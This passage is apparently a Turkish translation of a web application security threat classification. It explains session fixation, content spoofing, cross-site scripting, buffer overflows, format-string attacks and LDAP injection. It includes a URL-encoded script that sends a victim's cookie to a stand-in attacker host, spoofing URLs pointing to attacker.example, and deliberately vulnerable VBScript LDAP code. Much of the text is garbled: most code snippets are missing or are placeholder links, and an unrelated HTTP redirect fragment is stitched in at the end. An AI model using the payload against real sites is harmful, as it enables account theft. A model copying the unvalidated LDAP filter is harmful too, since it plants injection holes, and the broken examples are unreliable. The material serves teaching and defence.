Oturum belirleme, kullanıcıyı belirgin bir değerdeki oturum bilgisi kullanmaya zorlayan saldırı tekniğidir. Hedef web sitesinin sağladığı fonksiyonlara göre değişen bir çok saldırı tekniği oturum bilgisini belirli bir değere sabitlemek amacıyla kullanılabilir. Bu teknikler, XSS’den web sitesine önceden yapılan HTTP erişimlerinden elde edilen oturum bilgilerine kadar değişen tekniklerdir. Bir kullanıcının oturum bilgisi belirlendikten sonra, saldırgan kullanıcının sisteme giriş yapmasını bekler. Kullanıcı girişi yaptıktan sonra, saldırgan kurbanın sistem tarafından oluşturulan kimliğini ele geçirmek için önceden belirlenmiş oturum bilgisini kullanır.
Genel olarak belirtilirse, oturum bilgileriyle ilgili iki çeşit oturum yönetim sistemi mevcuttur. Birincisi, “herşeye açık” sistemler ki bu sistemler web tarayıcılarının herhangi bir oturum bilgisi değeri belirlemesine izin verirler. İkinci çeşit sistemler sadece sunucu tarafından oluşturulan değerlere izin veren daha katı kurallı sistemlerdir. “Herşeye açık” sistemlerde rastgele değerdeki bir oturum bilgisi web sitesiyle temas kurulmadan belirlenir. Katı kurallı sistemler, saldırganın web sitesi ile periyodik olarak kontağa geçerek ve aktivitesiz geçen süre sonunda iletişimi sonlandıran mekanizmadan korunarak oturumu devamlı izlemesini gerektirir.
Oturum belirleme saldırısına karşı aktif bir koruma sağlanmadığı takdirde, kullanıcıların kimliğinin tanınması için oturum mekanizması kullanan her web sitesine söz konusu saldırı gerçekleştirilebilir. Oturum numarası kullanan web siteleri çoğunlukla çerez tabanlıdır fakat URL ve gizli form alanları da kullanılabilir. Ne yazık ki, çerez tabanlı oturumlar en kolay saldırıya maruz kalanlarıdır. Şu ana kadar tespit edilen saldırı metodlarının çoğu çerezlerin önceden belirlenmesini hedefler.
Oturum belirleme saldırısı, kullanıcı web sitesine girdikten sonra oturum bilgisini çalma saldırılarına göre saldırgana daha geniş avantajlar sağlar. Saldırının aktif kısmı saldırgan sisteme girdikten önce gerçekleştirilir.
Örnek

Oturum belirleme saldırısı üç adımda gerçekleşir:




  1. Oturum oluşturma

Saldırgan hedef web sitesine izlenen bir oturum açar ve bir oturum bilgisi elde eder. Veya saldırgan kullanmak için rastgele bir oturum bilgisi seçer. Bazı durumlarda, izlenen oturumun bilgisinin web sunucusu tarafında geçerliliğini koruması için web sitesiyle tekrarlanan bir bağlantının kurulması gerekir.




  1. Oturum belirleme

Saldırgan tespit ettiği oturum bilgisini kullanıcının web tarayıcısına gönderir ve böylelikle kullanıcının oturum numarasını kendi bildiği bir değere sabitlemiş olur.




  1. Oturum Girişi

Saldırgan kullanıcının hedef web sitesine girmesini bekler. Kullanıcı web sitesine girdiğinde sabitlenen oturum numarasını kullanır ve saldırgan oturumu kendi üzerine alır.


Oturum bilgisinin sabitlenmesi aşağıdaki tekniklerle gerçekleştirilebilir:


  1. Yeni oturum bilgisinin kullanıcı bazlı betik kullanılarak dağıtılması. İlgili alandaki herhangi bir web sitesinde mevcut bulunan XSS açıklığı çerez değerini değiştirmede kullanılabilir.

Kod Parçacığı


http://example/.idc


  1. META etiketi kullanarak çerez dağıtma. Bu metod bir önceki metoda benzemektedir, fakat XSS için alınan önlemlerin Meta etiketlerinin değil de HTML betik etiketlerinin sisteme sokulmasını önlediği zamanlarda da etkilidir.

Kod Parçacığı


http://example/.idc


  1. HTTP cevap başlığı ile çerez dağıtma

Saldırgan aynı alandaki hedef web sitesinin veya başka bir sitenin çerezini dağıtmasını zorlar. Bu bir çok yolla gerçekleştirilebilir:




  • Aynı alandaki bir web sunucunun kırılması (mesela iyi yönetilemeyen WAP sunucusu)

  • Kullanıcının DNS sunucusunun zehirlenerek saldırganın web sitesinin alana dahil edilmesi

  • Alanda kötü niyetli bir web sunucusu kurma (Örneğin windows 2000 etki alanındaki bir bilgisayara, bütün bilgisayarlar DNS alanındadır)

  • HTTP cevap bölme saldırısının kullanılması

Not: Uzun zamanlı oturum belirleme saldırısı, oturumun bilgisayar tekrar açıldığında bile sabit kalmasını sağlayan kalıcı çerezler kullanılarak gerçekleştirilebilir.

Kod Parçacığı:
http://example/.idc
Referanslar

“Session Fixation Vulnerability in Web-based Applications”, By Mitja Kolsek - Acros Security

http://www.acrossecurity.com/papers/session_fixation.pdf
“Divide and Conquer”, By Amit Klein - Sanctum

http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf


9.3İstemci Taraflı Saldırılar


İstemci taraflı saldırı bölümü bir web sitesi kullanıcılarının istismar edilmesi üzerine odaklanır. Saldırgan web sitesini ziyaret ettiğinde, kullanıcı ile web sitesi arasında teknolojik ve psikolojik bir güven kurulur. Kullanıcı web sitesinin geçerli içerik sunmasını bekler. Ayrıca kullanıcı kullanım sırasında web sitesinin kendisine saldırmamasını da bekler. Saldırgan, kullanıcıyı istismar etmek için bir çok teknik kullanarak bu güven ilişkileri ile ilgili beklentileri kendi amacı için kullanır.

9.3.1İçerik Sahteciliği


İçerik sahteciliği, kullanıcının bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.
Bazı web sayfaları dinamik olarak üretilen HTML içerikleri sunarlar. Örneğin, çerçeve kaynağının yeri () URL parametre değeri ile belirlenebilir (http://foo.example/page?frame_src=http://foo.example/file.html). Saldırgan “frame_src” parametresinin değerini “frame_src=http://attacker.example/spoof.html” değeri ile değiştirebilir. Sonuç web sayfası servis edildiğinde, web tarayıcısının adres kısmında kullanıcının beklediği alana ait adres bulunur ama yabancı veri (attacker.example) normal içerikle örtülmüştür.
Özel olarak değiştirilmiş linkler, e-posta, anında mesajlar, duyuru panoları mesajları veya XSS saldırısı yollarıyla kullanıcıya gönderilir. Eğer saldırgan kendisi tarafından belirlenmiş kötü içerikli URL adresini kullanıcının ziyaret etmesini sağlarsa, kullanıcı doğru içeriğe ulaşmadığı halde ulaştığına inanır. Kullanıcılar sahte içeriğe güvenirler çünkü tarayıcının adres kısmında “http://foo.example” adresinin yazılı olduğunu görürler oysa sayfasının HTML çerçevesinin referansı “http://attacker.example”dır.
Bu saldırı kullanıcı ile web sitesi arasındaki güveni istismar eder. Bu teknik giriş formları, tahrif edilmiş içerik ve yanlış yayın sürüm bilgileri v.b içeren sahte web siteleri oluşturmak için kullanılır.
Örnek

Sahte basın yayını oluşturma. Bir web sitesinin basın web sayfaları için dinamik olarak oluşturulan HTML çerçeveleri kullandığını düşünelim. Kullanıcı aşağıdaki gibi bir bağı ziyaret edecek olsun: (http://foo.example/pr?pg=http://foo.example/pr/01012003.html)


Sonuç web sayfası şu şekilde olur.
Kod Parçacığı:






SRC="http://foo.example/pr/01012003.html>






Yukarıdaki örnekte yer alan “pr” web uygulaması, HTML sayfasını statik bir menüden ve dinamik olarak “FRAME SRC” kaynağından oluşturmuştur. “pr_content” frame’i kaynağını istenen basın yayın içeriğini göstermek için URL adresinden “pg” parametresi değişkeni olarak alır. Fakat saldırgan normal URL adresini “http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html?” adresine çevirir ve “pg” değeri web sunucu tarafından kontrol edilmez ise sonuç HTML sayfası şu şekilde oluşur:
Kod Parçacığı:











Son kullanıcı, “attacker.example” sahte içeriğinin meşru ve doğru bir kaynaktan geliyormuş olduğunu düşünür.
Referanslar

“A new spoof: all frames-based sites are vulnerable” - SecureXpert Labs

http://tbtf.com/archive/11-17-98.html#s02

9.3.2Siteler Arası (ötesi) Betik Yazma


Siteler arası (ötesi) betik yazma , web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşidir.
Kodun kendisi genellikle HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir.
Saldırgan, kodunun kullanıcı web tarayıcısında çalışmasını sağladığında, kod sunucu web sitesinin tarayıcı için tanımlı olduğu güvenlik zonu kapsamında çalışacaktır. Bu seviyedeki hak, kodun tarayıcı tarafından erişilen her türlü hassas veriyi okuma, değiştirme ve iletmesine olanak sağlar. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir. XSS saldırıları esasen kullanıcı ile web sitesi arasındaki güven ilişkisini bozar.
İki çeşit XSS saldırısı mevcuttur, kalıcı ve kalıcı olmayan. Kalıcı olmayan saldırılar kullanıcının sahte kod içeren özel olarak değiştirilmiş bağları ziyaret etmesini gerektirir. Bağ ziyaret edildiğinde, URL içine gömülü kod istemci tarafına gönderilir ve kod kullanıcının web tarayıcısında çalışır. Kalıcı XSS saldırılarında ise sahte kodlar belirli bir zaman depolandığı web sitesine sunulduğunda gerçekleşir. Mesaj panoları, web posta mesajları ve web chat yazılımları saldırganın favori hedefleri arasındadır. Şüpheli olmayan kullanıcının herhangi bir bağa tıklamasına gerek yoktur, sadece kodu içeren web sayfasını görmesi yeterlidir.
Örnek


  1. Kalıcı saldırı

Bir çok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.


Çerez Çalma Kod Parçacığı



  1. Kalıcı Olmayan Saldırı

Bir çok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar.


Bazen giriş yapan kullanıcıyı belirleyen veri, URL'nin soru kelimesinde depolanır ve monitörde gösterilir.
Portal URL Örneği
http://portal.example/index.php?sessionid=12312312&username=Joe
Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.
Çoğu kişi URL’nin içerisine Javascript kodunun gömülü olduğunu gördüğünde şüphelendiğinden saldırganlar çoğunlukla kötü içerikli veriyi URL kodlamasıyla aşağıdaki örnekteki gibi kodlayabilir.
URL kodlamasıyla kodlanmış çerez çalma URL örneği:
http://portal.example/index.php?sessionid=12312312&

username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65

%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70

%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65

%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F

%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64

%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73

%63%72%69%70%74%3E


Çerez çalma URL örneğinin çözümlenmiş hali:
http://portal.example/index.php?sessionid=12312312&username=
Referanslar

“CERT¨ Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”

http://www.cert.org/advisories/CA-2000-02.html
“The Cross Site Scripting FAQ” - CGISecurity.com

http://www.cgisecurity.com/articles/xss-faq.shtml


“Cross Site Scripting Info”

http://httpd.apache.org/info/css-security/


“24 Character entity references in HTML 4”

http://www.w3.org/TR/html4/sgml/entities.html


“Understanding Malicious Content Mitigation for Web Developers”

http://www.cert.org/tech_tips/malicious_code_mitigation.html


“Cross-site Scripting: Are your web applications vulnerable?”, By Kevin Spett - SPI Dynamics

http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf


“Cross-site Scripting Explained”, By Amit Klein - Sanctum

http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf


“HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann

http://www.technicalinfo.net/papers/CSS.html


9.4Komut Çalıştırma


Komut çalıştırma bölümü, web sitelerinde uzaktan çalışılan komutlarla yapılan saldırıları kapsar. Bütün web siteleri talepleri karşılamak için kullanıcı girdilerinden faydalanır. Çoğu zaman bu kullanıcı girdileri dinamik web sitesi içeriği hazırlamada kullanılan komutların oluşturulmasında kullanılır. Eğer bu işlem güvenli bir şekilde yapılmazsa, saldırgan komut çalıştırma işlemini değiştirebilir.

9.4.1Ara Bellek Taşması


Ara bellek taşması sömürüleri hafızanın bazı bölümlerinin üzerine yazarak uygulamanın akışını değiştiren saldırılardır. Ara bellek taşması hata ile sonuçlanan genel bir yazılım kusurudur. Bu hata durumu, ayrılan yerden daha çok veri hafızada bir yere yazıldığında oluşur. Bellek taştığında, komşu hafıza bölgelerinin üzerine yazılarak hatalara veya çökmelere neden olunur. Kısıtlanmadığı takdirde, özellikle hazırlanmış girdi, bellek taşmasına sebep olarak birçok güvenlik sorununa neden olabilir.
Bellek taşmasının, hafızayı bozması yazılımın çökmesi ile sonuçlanır ve bu şekilde hizmet dışı saldırısı olarak kullanılabilir. Bellek taşmasının uygulama akışını değiştirebilmesi ve programı istenmeyen hareketlere zorlayabilmesi ise daha kritiktir. Bu senaryo birçok şekilde gerçekleşebilir. Bellek taşması açıklıkları, yığın işaretçilerinin üzerine yazmak suretiyle programı yeniden yönlendirmek ve zararlı kodlar çalıştırmak için kullanılmaktadır. Bellek taşması program değişkenlerini değiştirmek için de kullanılmaktadır.
Bellek taşması açıklıkları bilgi güvenliği endüstrisinde çok kullanılır hale gelmekte ve çoğu zaman web sunucularını rahatsız etmektedir. Bununla birlikte, bu açıklıklar genel olarak web uygulAması katmanında görülmemekte ve sömürülmemektedir. Buna bir numaralı sebep, saldırganın uygulamanın kaynak kodunu veya makine kodunu incelemesi gerekmesindendir. Saldırganın uzaktaki bir sistemdeki rastgele bir kodu sömürmesi gerektiğinden, saldırganlar kör saldırı uygulamak zorundadırlar ve bu da başarı ihtimalini çok çok aza indirmektedir.
Bellek taşması açıklıkları genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir Bellek taşması bir CGI programında veya bir C programına ulaşan bir web sayfasında meydana gelebilir.
Referans

“Inside the Buffer Overflow Attack: Mechanism, Method and Prevention”, By Mark E. Donaldson - GSEC



http://www.sans.org/rr/code/inside_buffer.php
“w00w00 on Heap Overflows”, By Matt Conover - w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt
“Smashing The Stack For Fun And Profit”, By Aleph One - Phrack 49

http://www.insecure.org/stf/smashstack.txt

9.4.2Dizgi Formatı Saldırısı


Dizgi formatı saldırıları dizgi biçimlendirme kütüphanesinin özelliklerini kullanarak diğer hafıza bölümlerine ulaşır ve bu şekilde uygulamanın akışını değiştirir. Açıklıklar, istemci taraflı verilerin bazı C/C++ fonksiyonlarında doğrudan kullanılması sonucu olşur. (örn. fprintf, printf, sprintf, setproctitle, syslog, ...).
Eğer bir saldırgan, web uygulamasına parametre olarak printf değiştirme karakterlerinden oluşan bir dizgi formatı verirse, şunlara sebep olabilir:


  • sunucudaki rastgele herhangi bir kodun çalıştırılmasına,

  • yığından değer okunup atılmasına

  • kesimleme hatalarına (segmentation fault)/ yazılımın çökmesine


Örnek

Farzedelim ki bir web uygulaması, kullanıcı tarafından belirlenen bir emailAddress parametresine sahip. Bu uygulama bu değişkenin değerini printf fonksiyonunu kullanarak yazdırsın:


printf(emailAddress);
Eğer emailAddress ile gönderilen parametre, biçim karakterlerini içeriyorsa, printf bu karakterleri tanır, ve fazladan verilen argümanları kullanır. Eğer böyle argümanlar bulunmazsa, veri yığından, printf fonksiyonunun beklediği sırada uygun olarak alınır ve kullanılır.
Dizgi formatı saldırılarının bu şekildeki durumlarda olası kullanımları şöyle olabilir:


  1. Yığından veri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%x” değiştirme karakterini (bir veya daha fazla kez) yollayarak yığındaki değerleri okuyabilir.




  1. Hafızada işleme ayrılan bölümden karakter dizileri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%s” değiştirme karakterini kullanarak rastgele hafıza bölgelerindeki karakter dizilerini okuyabilir. (ve diğer belirli bölgelere ulaşmak için diğer değiştirme karakterleri)




  1. Hafızada işleme ayrılan bölümdeki yerlere tamsayı yazmak: “%n” değiştirme karakterini kullanarak, bir saldırgan, hafızadaki herhangi bir bölgeye bir sayı değeri yazabilir. (Örn. programın erişim ayrıcalıklarını kontrol eden değerlerin veya fonksiyonların dönüş adreslerinin üzerine yazmak, vb. gibi.)


Kaynak

“(Maybe) the first publicly known Format Strings exploit”



http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html
“Analysis of format string bugs”, By Andreas Thuemmel

http://downloads.securityfocus.com/library/format-bug-analysis.pdf
“Format string input validation error in wu-ftpd site_exec() function”

http://www.kb.cert.org/vuls/id/29823

9.4.3LDAP Enjeksiyonu


LDAP enjeksiyonu kullanıcı girdilerinden LDAP cümleleri oluşturan web sitelerini sömürmeye yarayan bir saldırı tekniğidir.
Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini düzenlemeye ve sorgulamaya yarayan açık standartlı bir protokoldür. LDAP protokolü TCP gibi internet taşıma protokollerinin üzerinde çalışır. Web uygulamları, dinamik web taleplerini karşılamak için, kullanıcı girdileri ile oluşturulan LDAP cümleleri kurar ve kullanır.
Eğer kullanılan bu kullanıcı girdileri düzgün bir şekilde denetlenmezse, bir saldırgan LDAP cümlesinin oluşumunu değiştirebilir. Saldırgan LDAP cümlelerini değiştirebilirse, bu işlem komutu çalıştıran öğenin haklarıyla çalışır. (Örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, vb.) Bu hakların LDAP ağacındaki herşeyin sorgulanmasını, değiştirilmesini veya silinmesini sağladığından, ciddi güvenlik problemlerine sebep olabilir.
Aynı gelişmiş sömürü teknikleri SQL enjeksiyonu için de geçerlidir ve LDAP enjeksiyonuna benzer bir şekilde uygulanabilir.
Örnek

Yorumlarla Açıklığı Bulunan Kod:


Satır 0:

Satır 1:

Satır 2: <%@ Language=VBScript %>

Satır 3: <%

Satır 4: Dim userName

Satır 5: Dim filter

Satır 6: Dim ldapObj

Satır 7:

Satır 8: Const LDAP_SERVER = "ldap.example"

Satır 9:

Satır 10: userName = Request.QueryString("user")

Satır 11:

Satır 12: if( userName = "" ) then

Satır 13: Response.Write("Geçersiz talep. Lütfen geçerli bir kullanıcı ismi ve parolası giriniz


")

Satır 14: Response.End()

Satır 15: end if

Satır 16:

Satır 17:

Satır 18: filter = "(uid=" + CStr(userName) + ")" ' kullanıcı girdisini arıyor

Satır 19:

Satır 20:

Satır 21: 'LDAP objesini oluşturuyor ve temel dn’i tanımlıyor

Satır 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")

Satır 23: ldapObj.ServerName = LDAP_SERVER

Satır 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"

Satır 25:

Satır 26: 'arama filtresini tanımlıyor

Satır 27: ldapObj.SearchFilter = filter

Satır 28:

Satır 29: ldapObj.Search

Satır 30:

Satır 31: 'Kullanıcı bilgisini gösteriyor

Satır 32: While ldapObj.NextResult = 1

Satır 33: Response.Write("
")

Satır 34:

Satır 35: Response.Write("User information for : " +ldapObj.AttrValue(0) + "
")

Satır 36: For i = 0 To ldapObj.AttrCount -1

Satır 37: Response.Write("" + ldapObj.AttrType(i) +" : " + ldapObj.AttrValue(i) + "
" )

Satır 38: Next

Satır 39: Response.Write("
")

Satır 40: Wend

Satır 41: %>

Satır 42:


This document you requested has moved temporarily.



It's now at
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp?lan

g=English.






    Ana sayfa


Web Application Security Consortium

Indir 312.72 Kb.